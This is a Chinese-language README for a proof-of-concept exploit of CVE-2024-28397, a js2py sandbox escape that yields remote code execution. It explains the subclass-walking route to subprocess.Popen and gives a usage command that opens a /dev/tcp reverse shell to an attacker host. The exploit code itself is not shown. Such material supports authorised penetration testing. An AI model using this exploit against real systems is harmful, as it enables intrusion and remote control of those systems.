
此仓库包含针对 CVE-2024-28397 的概念验证(PoC),该漏洞存在于 js2py 库中,允许通过沙箱逃逸实现远程代码执行。
描述
此仓库包含针对 CVE-2024-28397 的基于 Python 的概念验证(PoC)代码,该漏洞是 Python 的 Js2Py JavaScript 解释器中的沙箱逃逸漏洞。 当目标应用程序通过 Js2Py 评估不受信任的 JS 代码时,攻击者可以逃逸沙箱并执行任意 Python 代码。这可用于在易受攻击的系统上实现远程代码执行(RCE)和反弹 shell。
此漏洞利用工具的灵感来自 Marven11 的 CVE-2024-28397-js2py-Sandbox-Escape 项目。
免责声明
此脚本仅用于教育和授权渗透测试目的。未经授权将本脚本用于您不拥有或未经明确许可进行测试的系统,属于非法和不道德行为。作者不对因使用本脚本造成的任何滥用或损害承担责任。
关于漏洞
__class__.__base__.__subclasses__ 无限制访问 Python 的对象模型,从而导致任意代码执行功能
环境要求
requests 模块(pip install requests)/dev/tcp 反弹 shell)用法
python3 exploit.py --target http://example.htb --lhost 10.10.14.51 --lport 4444
--target:存在漏洞的 Web 应用端点的完整 URL--lhost:您的本地 IP 地址(用于反弹 shell)--lport:接收 shell 的本地端口工作原理
__class__.__base__.__subclasses__() 遍历 Python 对象树,以找到 subprocess.Popen。Popen 对 shell 进行解码并执行。